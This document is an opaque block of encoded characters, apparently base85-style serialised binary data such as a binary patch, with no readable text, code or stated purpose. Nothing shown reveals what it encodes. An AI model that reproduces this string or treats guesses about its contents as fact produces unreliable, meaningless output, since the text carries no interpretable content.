zyEM^IRrdM5_p-j}^LF3*4{TDsQ*d*ZjxKo?N8o=fj?j&B%Jsl^)-FdGdK`k`Am}C) z+|yUhNRqalS7jBvRr9!`qpp|v3>9dxVbMUn6%$}*ZY@Lg?k=g@T>{M`LxZA>r1*6*CK)jJ7U&vM2yuc_+!z_@pGeACIYPz%VTFlg~JGmsR2X&>fI@A-nbuEYV0p?P!nQ2KSxl#89 zUsK~Qv8`Q{nA635Om(u^c6!e%Dy1>iP!dt?z!YQ&Or`G4!@P){gk=u%7Rt6tc+pF7>JL1D zTquNpD`RWh=`xw;@#fpKy=(id9&=|C@i^1+jZ?6phbJb5v`~2!6+=i`w~-QRd#Zcd zX0Zf5>P>P|*-)zrs?Nsjt^8zESx;uc-Lp?QaPW)aHyXEa3YD|#1UMYB#Uu9T?~@z( z<yRf0{^Z_qp5da6QXgVcnt4})OtTk0RY5FA|p_&0-vf#tVf~Y^6tNq%~D~7WZe-5jS{qxcEU}MY) zH-!myfA2#jYneX^lav9kX`l}rQe-5&A8O^t%M(T<&Oq)1~F8HCP> zhK0}>WNoWokBIbM8)DK ztr^clxc9WmqXAa#IrLoZ6ynKr;vNzKJCnTgYv+sDbHbu^bSEgO+2jfj@|gU$^T}pJ z1a+mWVM>EEPqytwIwRW0xz@~rXg4o_QXMLUy zR$l+-9NX>wU~$Rt|(z`~V( zr*A=3o@^<`A$u5j>()s~H>N_)f7`+LONP^3+rH1rBX@LF`O3s{XRk>?c?IcbVU&Ap ztWvJdKa39VED{wwhMt(d>Eg&$&N=D>?c3xTKz;=#B~?MK8}J!w%-l|}<1iP!Ljx4d zCUVeCbd?i%JXQQzegpoGK$!e>gWi7$H$LP(leN8nNWYAo(eq=v7o<=sTiptK;6 zF!VVlD46D%{7J^K+`N!N8P?C)I{nDdP4gbpyLmq>dZ~3UxN*g8>T{ZA`m?WD?GyK$ zkb9o11{~*JKcmVzrB0Cd3ky0m!sUZI-&WyXm-jp@pQ~9a!L>@ktFZ8Z;D2lOHa6$G zYs8j^AIDE66spHfVa#?<5p(lsuT2Rr5 z;+ha@FwYQn@KWE6w(bG8MLGhA)C7 z+RaJVgYU?W@VDZc`nvpO&Gdz ziSyKQ#c>@L)GNx6x6Bd&;P1S^7V>QAU1Uw@M>@}H4ymPJlO8^~=FcH1fWtI4^Inmh z)2@|rx6Rd)(kBVbL*Os?G39i3%Nyodu?&-(0tuh9kGZIja)C#~JN;O-y(3eChsW8+ zsX#XOWi)2ZzgZi2&{{ls@dFZT@21QN?^6zwWcArHdbre-#T{+{SzFD-YX-Cz$gst{m7PYn|z80&#XR- zORuhsrPG`6Swm1A`k(-Oc9jYcc5B`WpA?}aaBDbEz>G-`>Fy|saUU2`^X&|yU`Cy(J}Mw08Q*j!|q^4ySdx*UKSBE2hy|A zNV&62#VHhTvqewcZQ_`9XyU%JS`UH&X(3S8Qty?ufbMyc)Xh;c$>Wpxtfu18FN2sp zwW}8h4&JT3QjR-`Gu~SDwIA6r0{hcAIZwAt|C^V-Zb`{)CPeAhSUEh&#WQiGR@h|D zO|W;2H;n76sPA!EDNf(}T4(mkigcVwH&i+E-;F;DyUe(=&Wcwl+YsM8Qkwl?R*mP! zq8nGqO=_Y!E`wY#~Zs zyO{4+fNU|Wq)Q=2tlu55y+S0nH{$x-ANV>W&$t9SjK8hO{*toz4bHf83jo|`j{Dt( zVpjxExlHcWlF5x3((ua2Ql+q}eCPsgo2sBIEYQ1VS2Fa8^f~IfUI*xv zZ3>;m(0=80=8D@JBW5DXP)Pv-uObhXeClul-tWtIhTh~^e17#k}JpO zd^&qFZk&YKrNwA9YBsi(ZLhr$#qC#Yh{UUB-Pw!6_(ZKdQ{kKF6R<%-3|$keILU_L zsgZJFhY@tJVDlEe-e$MVF~!BNuO`mMrCeI60fd&DYY4rr86tif`DMgD@8t0&ecYDo zssCj?OY(^H{}}!5Z=`=f<85bCV5G3rP39TcGs}6#nNF;jsYt_2j`6|=Sn?>KH6nEl z8g`g5elf1OH%w>kH91ufbP9G@Tf#F}E-QoUJIh580p$d5ybP8DVa zH`ZkZ_r+)eboK@v4A6#Jj<=nnSI^7Ohq-J^%(9ey`E$t18RedRGAI?Y*RSAYkPc4y zhYuHytb1E(cf#mcx7pYIT9{j+EPsS|#PMo02LX@?Q;NNL3MO9t2ehTpyDFr#PoGw6 zX3JIUB8+fH`*kc2`db(CFu9~9vQiuQMm;E>L~0|vfh#J(W$ zYkv?0ImcLAELv#g!ewW0p|ayf@EEm^40dD(+ho92pqD7BnAT`-J%5AaORAxPhlOi7 zrZ7I;i5m}`F3v(t(5VRtxE+-}11Wl`AW%_G0gZjbq<#T8)SRHs0lH+ZJ58c1oVcod zfb=3aTuP)10yr3J<8wxe``lgdONa~k3tof34$URZ3f$>MO24Or14^+4IELrUrfqWT zd}Nitf%da*PGt|X(nn+v3%NndLqqFaCs%zanVUvL!p4GvQIYO1!vkqx>$@7jR&amrowtpa-ka*p zx+R-uIsEN~@9B*@dK%P;BxtCd{5gFb%zoG8I&~l?W*0z_h2mv;{T#tcMCRn+mvm1P zY+Ox6U}M+CEJv>oWW$7utd1+P`fWw1e`ljo&>0@fsD?}sP3W$cqC7FqZY2I(hMX+E zTh>=Z=GWIK!H%^1wPe?l)007}icpifNd3|n?uvW;Jd|_DC?(Kg6INsM<8|)Uw#g@z zjtLY_lf2*7MHRBRNjEB8!ha&!cjXue5U{wuyM1vIvYNapuv5RM&+~N;tf11`;!|}N zrWDnJ&1y7;2HcSD0cqQ6|JC2Bxe>CPTQL9heLcfcop_xdKi5BO=!W?X;z;cuozFouV)Nn{BX1i^_jvP7bN|WR z#3IySG1!%Oe`>{c^EFq?))xw8{@q;OQ{As|hK4@n?64mDH@hB~Dk=1LSG49NRP`)j zpN^U9Z^7cyZN8&WauN;w+tsIaO2}+T=X}O>9+s_x6YWnYi)~d#-iUhDQ}sGJ=v$we zEATvSg;gRa*M>!DG3`^vHx6%DS{8y}(z|Q`S#PO#d7>w(WiDV%C7PmSz|vLV;6kPB z{e48vo}->Q-^F$I%8e;z@qhA^KO@Cz+|1N1nyS=_7zm>*8k6TIRPP#@28~%j{tRut zqthnGx86Yv-zAH-28agEBd?NxvDDk}d*s2Hwy=D}*@ngQ`vL+2Qw4zT)B$+g%`=e} zS#)&O46M&yg)qx239T+}#eNqB2J}%Z5BjK!TeHd>^2k;kLN9L(pvccc=@`ru#a~?F z#Pt`8$@;EWuVH@^;7hGXh;q9ln?E>VodVRSw@+We^%qDuWMkHR2c7z##c9tfU!*Tt zl=S5QF~z8)k({Vrl5%8R%G2t~?ijEx^8=jQBw#OAxzk7SR;0HLJS;MlIiqRvT&+Da zia%p}YN=)D={;8ufVUSIB#b82N9%2fdgC4<-dNK(@)84_$ns(dvBp;>J5BX za-E(32cpMCf8qOf-Cq;)$S%MnsmTYj7O|ciZ-GqP&k~p{NObf%hos5;_P(&#F!5lB z0&G{M8USBo_1=22A!L#8`p{19EDq>RBsb&gVzz^IW|4 zqRur#%4d@57zE6;uAU)?A0gl@gz4nc($eERGJC7gfJO?4&o!8p@oB7Cm<`x#sMkkW zOs?l(iYVLDh#V7z8E&0}r}J-uh#yk2e%ynvMqc#r-)rRYGWE$*$CPO8mptrwOF@B^ z2HM1=%6RI`2Y4EBg}EVcwT?hVWrD3%%f{l(mS{)k-}x(e>VhPScz6Yi-sDC%L!?l=*6`b}rXob4y!N}UtONT$qm#QB zH$)_qGyCqw)ZRl?U!Iyit;J@q>R??8%?17)>1PQkpl1e1BfIHcl;@6pErpl0fM7r{ zM)Im2Ud%A~Op`83=e6Iv=oX~;Q1!mHllsW6ftWQ}b>NFOKE?@)2|ZX&Ff%_vpQ{6^gWBWx1O?==DLt4OR}U$)rd-nH_M-g~oYC7RDrCwnKhTw7qlIskP(|W92~I=3pm>M}ICc(CLv(-4{X8sd0l= zi)PjG;KQaEm&Qv@R9gaT;*~thkB^|wT0S*PdwQc3NaqOu&3EDsQmf!=MIAQ%Qr|J!e1r^NR!!2snz~Z-kf8?0UM8auzxc~*)~cRF?W9Q z^OVo_DSsB+Sp;{kast40rLAJx4ZPjkPOWv}lOe7pzV-1tJpgo1-u_X?<=K7D;uj}| zf!^=+X&5l&yd1#wom4n1FRq{6en`qTumPx&4u-y;JDRm9KRoVx33^e6UZg&_IKt4l zqq}>1ywAyf_|0}R^>f(nEC8Swpek4y5RIDWc2pid4An2bYT|y=CW3sb>|}oSZC~@o z@f|J2k{T*-jAj%ATYToW{PYAlkg2EK{W(}yw~UhdxzT`(zq|v{68}s9M59K#RliqE zt`~jC7p~pqwu)J(Xy=Uo{gDkD?7+3HMp6JEH-hUh+pw&UrA9?^Ui1rCf4Z3u`Wn&& z0@wgYg}))YELJ6^q%7{J)D@*GD4OteX)OcD8DWgwBq_d{QIZBudUC#?tWrGBd?)6J z0U%+yAlkecTJ}#K>B#R4oK_u0N_7ie3*TBhaK2>Lz212W=0#qrC+e`?UIrV{zRfEU zbdleME-%&hZC$YduW6NC4mzC_+$Smi#q(%ru45}?551(3B}>n~wBtJZRT(%S+NpS% z{OX{6*k>5I6it`pMSy25fv_eTc>q4n25k(wpDjGq;9CCAIKdQ#&`%Ir>z?2{_!WJ}G|{=)qbBQitTv7 z{PKv0Rb3x98kG!B0*n!bTP_Z_1@mr1)4^P6oteSAa}+Qy8&8RpkfDe{|NZ%k4vafe?;xMp5Zhyp$$EEvT5_n^b zPTx`Sx%1~uceVNM1$~@=l|$O!1p_aEuyiiur^w&td1qdq4-|)ITnM_iS&6_h+gf}I zf}d z@@!MpXye;ghQs4-b*8Onj02)!%EV>``iCQld8dM|oAa~a+=Dzt)3}yxU5p^(7?wX0 z4=UW}9{ZjH2Et(e)R`+L?bUK^2*EamoC+4etOV<{=%a4P_IF+JLV4q!NK7d1gg5%?{qfnyUGK9;ehjm zdZk#4i1XZwH5XXLpMdSFmI4X(yb!L*c0lp-h_B5)c7|SeF}Pf7a(#EOp%z)k9ew`U zq5?o`5zT~1`H0$FMG)QDSNDN0lRB7M7}_2+S5lcfQ%6is9wyIi*!~8b)}$jU;bGy( zw2ohosLhIvy<8FbF&sDT_>7J{UUq!Jz0> zH)7KCZ^C*N_+%ROXhy~)lu>;n8XgFJtM)_Azu6*sR~enVFvKObw9|kGwN%iQ8Q1nT zdctDW0!V%oA5(gb_9BbA+MMi~x{loA)^UJCTB@47pvJ>aYRDYcOv%SqLL-Tb^&a!BxN)K_ zzgvtvOxh0lZL5N5MO|~Old!t8hOgIdLpoJw8?fo(Bl(euHHUlsnR1LWCPF1sEmI%p zH^f`Hbw0O%!i9^?=LypE2rS{d!)&T;!RFI#acJDWUDdo)cyJN*G;tNTGoR4L9cQ7Y zX$*gRbNg^|r#rA3F;s4-Fse+19)ADmv37qtRmU!H-mVKpOh^4XF&?p61-xuWGL{CQ zGq1k8ts`tTxMo=fZ_3Q&pk0(&_T_e9pTfMi?9r)zyZW@@ThUGXPOkKUhvg4{$T66YTWBxowwq?9X7FP^lCC0wvWx>jp zUy;6uc2tXJqw^S3>2m)UJL!YPDFq9*!`U_|cp|0;`E5PxqHT=*_6ib(ts2=+PcB5P z-7pQ&r1|^1Ljx50t$^;l+H(3Y~7tgQDK=bM8O&pZk6hZORw-_87 zDwL}hopdyWb{d@9CLa>0-`||4^o%A`ywmB-zn6?UoMK@y>kHae3zO;S2uW72$!;y+ z!a(3H^3m8jP%UbF-xJ4bx> z?2iZy6O%<^$=((q#?`ul1}6rv$6@U&r|EeeuKmygbjIX`Ecg`IwhO;y7Ne%30O~0^ z*=my*|9bZv%29{o+}A0gUuGh~_H`g=B3K5~3XSR1QVG8hJ5pvE&??e5v))7uCUo$h z*T?n8B&|g3DxWZ)WrB&n%sFsK)DGCr#>oW969$>u)(NND!Tm^NzJ9vvNhVanTKkls%LT2i8{f*yN% zdsr|P47vLP;91QT?7=jE^YSGCIsoZ&mwy!St=09}m?|r*(8G5ouGJ5;F6Ak6vWWEC zmK_oSDFWNNB0sbd22f{(`zG#Bv3*-LUeFo5pS;B$#=T?>{6AJ250^_+jw_m6Ry*-( z91Wl_;M$HN_W4v*Ro$e6iT@*E`TZo@w*iXR5r}Q{<_Q*)1-KyJ=sJ%FoD5b3PP#dq z{uwe2RA#)Hkl2#`ex#gw0c7_QsmttXtZ4LI<>~j)PFLli)WQsbCj5N6Vgi&H#$=m$ z%_Hs8*aj-*oMa;@e61;eF9!PCLQ^%<;*=nvx_(s!TTJs`m#eEWyT@HE(>>%CoUE}y zPxsA>wxxoOi4Uml+(=A0C)D7vO`p|K9TA-vE)kY}(c9_O^35wukhWWVnh*M4E3UVe zMw@y1NNv2Je044}#HG4mpd<~xELIPBZ2VyUBur;~4eXeqzQTP(`_Q7AilX-c_>6vS zd5Sa!+q5UOz~A#_vR}!2s@|0_vLJu+IbZiJ*jQY8s$kZ~re>vIsYZpu$^8h?iZ#)6 zkF>S-YhF}@<(xvik>Wv{EF8W25w~+%^i0FZDm%+JF_FvT*IdW_4(7O;?E<_VZXx8q z?n#PYWwMA}NWmV5FZ5gwFnb*-mo-Wade9gR=$B`j>f>AFy<;!H{@g^+SUCf>3*y1x zn`UjD_KDVq$x-H}Rr}%Xq?hKUG|$}beQoda-Z0LD+*=l>-wT;l3zOsWUxSPz-<>5? zZ%N&p7Cq4Gt>3Y263O-#f-OaHg6iqS`eCObu7UFDCaySMrDUme-!px?!6Ob+5S8rP zej%Z^Yz4Nm{bPtrveO#?Q<#HOAU-;(W=bWGQYQUK<1fMi_~|*!&olR&;S~uR_Wq@` zPzHB&mF<6oasDS+QOW&0SU6sn{dVxzh*$RQ91(%ay62y?_b{9GP`ppC#A62kLreDl zEh+R~k{dN@Vb_)Wrik2t$PO1Zu~bTQxUmQju(|`c{nW)hGnmW91x~bg$A6mW^WmEu zHTJJ9cin^ft`+7eUzf@V_yDElD3M$z0im%og+`udUJLB6I`N3qG`3CLw}iZ@&R*HL zD=KsGL1S(6efzTJLp)dIO$i~~K74XSOGcvP#$Y${F`Sq;)0Nw(H#m;RQ#Hob-#4lg zmiAWgZ_q}a#UG2Nw)&sj+DtK0*1VJEBjo_ymsnnOTd|&HNw|b!ZMC(>%xa{2s-}4tTF=tM4k zTC8#C6C|6ldesBt^*peKE%_jy$^QF~YbIrnqK%R_gZJAzr$Xh*xmaJOirGF5;f@Yh zC6gRp@B@T7N#fT3Y46+PneN~JyYJjll1inLQ;NDf&@E>(5-Nw)T}csTMPek!u|woT z$*Eh;u_AProXy!fVB|1SCbLa8hGA@Mw%PW5_xOE(pHse%&*%0xf9+v=zxUepzOL)_ zyq>S?pg*qGn&^5Th%D--^>5B;zTv+3Y0q?wYclsDzA5^`cjkV&koi5mU;?Na2kQ6R ziY`}7IR%P{$^=8&#_z|0rX{C5fSIuim)bwk^!62Q_na4d4_JOUC@y;;QUaqIzW3Y< z(Y_-Ix(d|!$VvA2H*e98D+KZkQu$gSJTM&FSNJE)3^;fD<$VAsoLi}GQso8YvH`I2 zH86m5Zscd0?Q8!D!!OS$vD**%yuI}yT2AZ>6q>9{4(#3F)R89rLA@(ePXR#S1gs-{ zm*Jgjr<8W1`qT(O=GZ83doFe&$m{J(C_aILL=Hzt)9YDw`{S2RV*qL$`Q^3ob`)+1 z6%&SfW|32KQcicAcMndJ=yWs8;JHAOpz0huz-~YTq-*=J6@SLZZkQz_Ne~#c+Y^o^ z5xUT6Ra8|vP0Wy+c~MppPZX>Q|~iA%R2IV^7?HP-@NHpd8PGWgX3rS zcWZOi?p8S7mc4trMrz;AU$(w)iHh26$m#43(-n5rUkZMICU|Sp2TvB9aaEU4#P1Gs zlop^}e8U^p z(9_1|ctQ!fW&Yw}_pxS!9Qe%&UQGlrca&K3YT70$*HMn`(%-MTjh=z}y>l<;Mp&OZ z;k2q>B$I3#C%iLC7<=J&6$Le(`64V7VGN95UqiGBO@R)A0k}Z{$wTGS=gYN+5sRPZ zBdeE!Sn-_9HGS&RQ=drP+FXI3WXKMyK=X4k$s4svKwJ3UCLZJZWto7FxRxIlwZJQS zG0KgQ%(+NUITGWGYF)#6_Q@n(`^DDNQ#3ZKTXDptMpK^H zYGNK*P^cjEpl9$KNx)R}9%MIFmWUV&0UB;Kk)FatC_hu|;^Ug;8`e3g@3fa0IsyF^ z7>ru53xbl#paIu)$C-1jYtixOE!snAU zVaY1DB6SlFyY>T9!bcRkET5E^+^XijDFhDh_hRa2`{(7USNWyEJeT{fcwDQvOTKGd zPnq-3yEi`M&C}EQM4k7Kz_$b{x;tCS%cS9T@)>x`N#<>n$aPyN4>0L1G%^bnG8ye^ z{mgZAIvu7(7~3j}uRHd^E=s|=zPSjzWlj6_XF$spbcz}QpvQ^pw(fnoh4Bz&Gn{Lp z0f};Rx6T>RstzeRNN7v8+y!j3+vpG9TGrTvOZ_?$cE(nMj5Y6%0WW>yCcO+;n!^{$ zXce{p4#b(r`A;7_=nw1s8;`BE>#So}VC3ZAr*ww{jCG|*HhJ88V03@+q0}kSR{|c9sVN(g+ z%o^Pd;td79`$ci1scEF)u^H*EHU(YFmaRO469(j@&bRK_2D|}iB4y*rZ(A|dzDb@0 z5O3-iIQ#lBjqe~%Cd|rNpMYRagw+_7doyjUo<4 z((uM)a2Fgq5GK^z)Dwpp!!6XBv2UL5)e_&5Tvw07(()FA-c<$kVX_xg8^x}RiZMmT z8ia?EUT>BwF`QZxVm$hQ5kGR+vc4HVrHtm3OvEx-wrF0lV&Mn3^1H3?U2c5JOVpzU zR$M%Bs20ePme0S`D6wf2yHGnH^vU(oMeayiw)_hXLc_116jX3YNDorf=KD)5O;Xb_y0Et-P!|KYv~d2~sfo8Z`2e>B3!P9~UL!NcHlPd4_Ip zgnd$YWyk$4YK69!hsOqLmUvFSH&sDjDfm{@9TlX{;M%n**4jI@(Ug&FWa`PzvXZ;7DvVx(ywr0yj#hv!UW-b~!|w~1fijv;AP z3O^18bK(JGYMGRQT{1sRh0^zrID|&I8BZ5s^7A_!%}%-1(HS#!FafSm`AH5x?)k28 zcWV92)hDjhC0XWukC}sC!tk$oXV3z{bLrdOQt%NMG`kj4@Y=Tl7dVK8#lSRQbb#kx zjXnR8BKb`c8Ix831;b&2(a4kv+4u_wREkY`B5kIgU#CS*=r96##K@;dZcnqFB3SS# z(fZ5ZWR5>Yu-hkkEahRU39M+NkqAk;I$a19#N76_8XgAH8X>?Tl%Mv=-+oWh0!OJL z69Y`Ys6jq24oiavy7&EIvRjvZ@|k)}ggb_XV3Yryk`8f4SEDEwd? z1|bI|YKQCwwh#dHglE^P`sXaxF0ngeuG*AvklOClok~E;&2&5;Rbu$Udk4OGqlM>F ze``UPpJVsl{!4Y${1HW5jdJoigI36Af_W!AE2Nl!)vh8t5LXn z=9ngh*Tj=EJ9yJr?F=mEw&lKa zjG+#eohQ&xfQzVSmBZ>5p(T5`A(m#IUZ8DjYHNrX*=~f@U|}uSqQf2+dZ1ApcW99F z1_r(qqDrMm8JNwcA|1m;B9SnWq>$1`_JhCYY7o!6jB06XcLO46l-dy!D~y3F%Dzb`lKdprcHZUZLhd76zxSgIdr z_B)Ov^q(S`1;OfO`hS_8JLW47y0&O%0H^i}6x?tJk#m2L!bK7u0jCM1lte|uAfB%; zWElh%&a;ux9>tv|$|%98eG=m_CFm(foK{Fhi6`*^d#K88{vtG`vk3m4HJxEw&CE!n zJT^o5N?{#Q+DnEWJ(Ejh$-ssVgla$WN|NWmn{taEwqEmVcECLG)+f~VzfX++yB+Iq zkC1uZz>t;Xpisp7UhU8hY1jUKXWtwOdVYSsVAuI|ShufHo(>o|GVIQ$SGxD?hER{@ zGm6Dm;ZmY2=kBX6J)3rjy4=s$DnEvY zY&za708Y_t-Ihia`+zzH@L|)QX`+R+@)HNp!e{-no4-9=d?>vDZC}`HcL%7;&xar< z&wBy!68Qs(IA<>IaOIY7Q;$f0tOdTI8c$ssGdLdwXKxk7>ey|%-CQ>3D)mqWG5fB; z*?6k-!{8mrrk(~)Hp@=lbk@8C3Dj9l^K%^zpQCB0@=s-g!h`)VKvH(SoJF%4|B5@V z<&k1xs16vlX$VeJJdv<28VZs0a4v(WAJ z6%3kS+sB%!_SXH-J{G?)yp;#8+=nb$ujn#g!YeBOV5N%u0)R29@%7omXZgblXfz>k zQi6}|%XN<#bQBfdRK_aDm~^Ls9Hz<%(02gSc5 z3kNG`6qz(mhx)hUxZ*4aUb@!C8t$QdzztMEa0gqbK`Qp^Q|7Lg>Bjq zh#PLCIB@B8fj*`&#eg1RlUk70BpkugVVYKSrGFJBif=lpy3>+@rpm@6!{nGR z?Iu=hytp9wLLPd~^Wcnqh!JbvviDJrfqzQ)PT^q$y=*@I5c;tLYT7SI-s`?O9x?Tb z5-ts)?niQ;C>Ca8Nq5sdr#1sk$eQC!g=Q7i=!OTofD^#c*{}TxCV{tHtWP0(%0t^} z6RO%xAQAbO54d^**-ECvp|wl?5FW^DR1&~J zF~b^t+H<+vJm{B+y_3r!mqwtrZZdvqIjl_(b!MT zp=x&rXGrph@w+_-X%?N{ei;~FKk+E1JsIn(x-DV$Q$hL04eaK%jJdPnuKg{+rsw;{zyrnY z)aZ4=UvG}PVF`GfakbQ!TkxY$TAhZ}W{XtdUKFkODrIgy46KVbMd>p|?oD$U89CzO zj}Y^}$)nSKYe!SDsLxr)y?!_T7NszVYHcbziK74xPG0uHNpsEjJIGC~wYk1h^6nl_ zWE4+s9^XZ9GD@KBDQouU8@ro0)0uJDnV@E~GP-Ca)16u)y~R8>pcV8zkEjn|!YR>- zb*}udm{%J`-LxZ<^eYOQcH?l**S_G9rMYARm8{kMm`NAqqRSxj`>E6h0swM`7%t%c zvKu8%_*!?I6Whogw`5Ggn1uK$&BP+14J;r#0H$^jTXC@n+Fr%3B^g{=ip{L`HM8;2 zb}D`LMpeBco$OiC$USpiNw039!b+-^&Cd;tdn3bZ-imn*^fjq%ECi@y2vb!QC)|o} zW;*3MsxUvL;Z?$m%xlq;3D&c&`d-zl}NxXjHA8;)qg zzRXU0=^Sp-WCFchp$3WT8Yd2vNGjJ8o2h&1r)n+=7T(+R$pxs`dAfy#UzxoV6~*NF z^=@*`uU2jH4Ey$3=EiZ%2ce=tg@8Fr9Q;rF7*+zvo4>(`UtScMfhpiKCsKS zZ=HGp2(lmKbhtQedT?|5d#Y*b(Z-oe_NwkX-h2z{$6`c5f@-QH6-mOuu%xgPb)Mpp zKp2Nd!+s-jzg=z!dkXkCQn56#cqW2y=6vR5jJroJ zysI-w64;WhkrVQQnP9B7MEP7P$x$Hf`U6E-5(&R_j8)R=0>zIfVYgV?&gC`7PM=OH zygB>m-)RT)dvDV>$gtxM;*yu~4r-;xWa(-U(+9Yww9rrxift(%2l3u<$1kCh%=(S? zC8_ojMBNJ`>Ps$%aEeSred0%atFiQUcg&I+x*=izAe+x#%R6VnBEBKMN#;%XC30H+ zAmur@)-m|~)lDfQh4l^7Fh5%x75EL7v3tQYG15#l0jYi$`*J%mi2&$PH!%fNzd#EL zZg=!|S!&+OvLgF}X(AT`pj#BDmTipD%?cr;5EK{Ky>Ccv6{N%ga5pFu$wt*eY8_^r z8!*h~rds*3Ze(20On6i35W`SkRh2c$Z9o@qSt!3$4dEmFeP+%VRltil!ZN}s+u~$z zMnH?Otl5~ipLc|(SB?J;gx#@OG8{UT>R47ITdyh8Jn?|7{4RG8L?pBAWoe_(5 z(ddU$ofybE{3tV)yV%Yv0A1!Bq6!DJ6PPm!3($u=j$R8>%wY^pcOT*skZmHu0!_3~ zRpg)K*#R32?K~^l{b&rA(pc36oeixKb%-o-q)7z;gD-Z#}<=tgZ>3{Fg- z(ri^>K~nIr`^~b;(M*~E&EzrfVD}@|z4x~DsLtUw1&FT!fsY5=?Y%JJzG-8MiejJY zaa)uQ7;H}UwE^12fVuE;zTzY%^zJQe{5aIdCfxJ@)$Awbh7I1mmg6%{FNedf@ zKl1^Uk&h&cs%Qx&1pve;1mez;?5p{t9Tl&aM%~0W{h~7tY$vLU;x}8GZp;!Aqc>!7 zhcNw~Ey0VGwv5GF1ks~wmWRKBZ;uL72t;24d}R=+k#_G}POWPbdOE+PhFS~ei>pL# z=SmuRT}I(N{}#TG#Z%}KwehqkThQKNXb!)g_{qeNy7*9RBN{MB#LUW-pjbncg-I@M zKXWM2(5zT%GNoZe+}gwst6w1TGMid@T_J8F1bAd|oC*+fh0sJLGYv@RnjoOCgIBDD z(Z1a}_l*oT%RMsLvT#!}!>1u&7#dJqtLKXUgE`8Cv4&&k_AIc2>jS26xeh!reU1!5 zhZna#MQ-J0hYop&W+Sz~au~47?j}5g|5o<94W2VW9;toUB0_5GDHMPtOaW z*Oh`{(lE}>>!w5EQ3HKUOz_JpoQEh^iN1@xxXY+bw~m$tX%gzb7k#||#zmSQ0tdKm z`H{WY>HU)huk_a0HETd6r%zg3$SG@D+YMPxb*v91-8Th}ZdEJ1Z>hTbb*nHfO7ft5 zb&*p@H7UNk!~)OYv3>8~wsMy6X^jnjC}pNtBoJP>ok-*SA>7V%(HPttxY;7&k#>_I z64=YT>lKN~n)YW@MdLPo%?}m&faDE|Y;Cgz@Zb=&XL(OWtWhk&r;@>Q&vs+b+_RYs zXdMYILHLB!J41VzF4`FA3ury#5t36|r)M*$MV!KhxP^Gr>-gynGcy=B1~LF$7c>$y zmByQH>K2X;);dtSr(Zksh}|T9jf*ysz{2m`14bc?f!h19cTaCU+Dyoz%on75d$C=5 zp4d(TR0%8Q*o22rhjOTof>7Bc$4jrn?RWz-b9~WE6PdeIM^Y&f60)l~L1Q9LokYO? z4!Q~~a^{?U$m>Gx-ou9-Xls5xbq8-`qlbBzk_Yb}is|)skXUFt>F&k><$$tl_4HiB z1vguvTF;K}#>-GZSGmsOfj@$KG9G)5dJ+yTXW;t*19xP1FE@t$t+jTK9Gfov1%F#P zeeN3KDL7J!j5_H|>DCRTPg^i&=E!xgU-yBI5|sm+zD!rwarbO%Ba*J-nd=oaE3fCE zh1FCOQeBDMH63S4s~&ju@TcR&T@V**9nx4? z-JFh28|R&7Tg5sWgDckQAp?wpC0Iv{P_bDuyV7KrR49t%Ew@RoQ&VfJ_-RP$>W}85 zW`2#ft<53_h+)H1qz8$BQ{_hpESQ_SSa@dH3_)OsmQrwk`1S1GQ(Ks!ETC-UbTuW+ zJJZ0=RVjDCt1!D4hzwJ?RJ5f3z=^e6hQD_y(GER!;MC@-b&Z&8VoP1)voWGz)>%=6 zu3IpfxfIv9^N?-YQ5gPGO>50p_eVztNxMooh98-QS?8N5Yuaf?T^T(5U66Nw(fFC& zuq02;dS|RqXm!nAD#4g;xx}-@Kcq8!pD2(!+%s`1$ouooKe0Rm`-stwRIH+h zb&fqpT=(k_iWd=Y3uH;t>fFMXRlIfkO4X&|t!#_MrE6lRB4{XG&1w^yeh)IQrTt9- zyoK^m$I2DYbjm446${&4OK-qh{o=BB`pxwzqv3Huo`~PNqdhh|D=~tM954X=2x(U^ zFxWw|JikrOYgR`kE~cBR4xJN~0!lIn$y0-fe=pZG|G`h`1OsF&)RWaI^>-HMA1{39 zKO41ifHXR{**v&8+%i-R9DQM41GTp&naCHJ((hi=`q|W|M*%h`j=rPJ{O#qipdWT` z-w9LrP>XRmLnqN6>np0@4HkP6a>ywAxG-zL&|hd}Y3$V;XkMEY6oACScgmZ|D-HAB zDI{upTYH>|G(B?PZJD*SUI1ii$IpKHBPLrD5r26YXqE15sn(Zc02@Czvt3blUMvw5fPPZl}H@n1oEef5~Q zJUJsYE=@c)cL59aku#ABVQa)x>KYmBuk6kNb&pE5DA> zNCOU=WG>79a>?+{gEh(irRwqbHA{y&PZ+`(u)ahvn*M+a+x-uP_y=L{1pZFq^`>iR30cG2eT~z$J&zUdKViB9__;SCfP9?;WT4D#B7=bN z7z8@hvq@`-tfkJBi4jbvJuUO?HO?VT(e22HEyK69M#{QAgwDbTN}J?!9%M*kPL-J5 zIwOeTiHQ+ZZ_2(OHQW4}XuS-(2<+{-ceyte6w(2oQpX?5B7IdVu*>Lmxhgym;-|TZ zWIFO#Y^wVR7~-;1UWv=NJ~LELy4+s?!Q^N{a$J_c{rpRvrzIR&urH2B(t-H<#RK}f z(>X#bOAWFF9xoBohXdyi6(qnspJp$ot^3-boBtume{zw-2W7tZ{G7f|J$C>8Wq8id zFDwC_(TV=~m=dJ36#K=|Ie!qKH&aXX9EDAo)Na$c7VmkHhv#xK=+6cSpSp^R8OtmzqVTb~L1)GH zrvmi*GlKy~E?!HEbJO>;AQ~Ie&fHrQA?K*3avKf!-#(!4bS6+e@woCv`ybd6Z-tR| zMI+PBWUBIp(&mkayYl9{5~pP<0k4fv=_l~sC2@Lqk2gcauGnQfcIh`68Mcoh?*wGI zM>^2<3(!wA4d_tR7p{ZQ!0jPx0nbcRd-J=FKhGC_j~u}H-XKY=(S$C8nl#qsHveSO zFdg`LRZ`#8C5-h+n4jl%tjh6p&~mqbxesWjvi|p7%LxmxXqov=3>XXo`m1_P^yVM* zxL5jJ(cccp0xgD)!T`F+3qVJwfVQuk^P6Vp-Ofpc9Tk2BO$ba>PVvl24UeGT^U%1* zu%D&+D#oN|93~4srAv~PuSqtFZTj#`rA2Rc;j*_{_*qw z_Me-82QE)^T;bIhrKI4mbbdYY!^XOd&-w8)&kh4i=Y9f|1#tI&dG*g?f#!PKt*!p@ zh5zsCo&ZMo(d^1{+tR;@Xt||b*s_`a=lhp3D_J;T8|A>#zuFvH;nlwae(U1S?dt!P zkbe;F*&RSOpYYcH6<%!xj9c1}w|6g|A~{2CYgU;N1BH1dEfFpv{jxr_n-7uvRY)yP*S_EjVQSMys=Gndi7 zv#UnFBJa3rn0z%R|5wlZAJD-nTwfUuScU7WaQ&}r>8tGeU);(5mjPU5 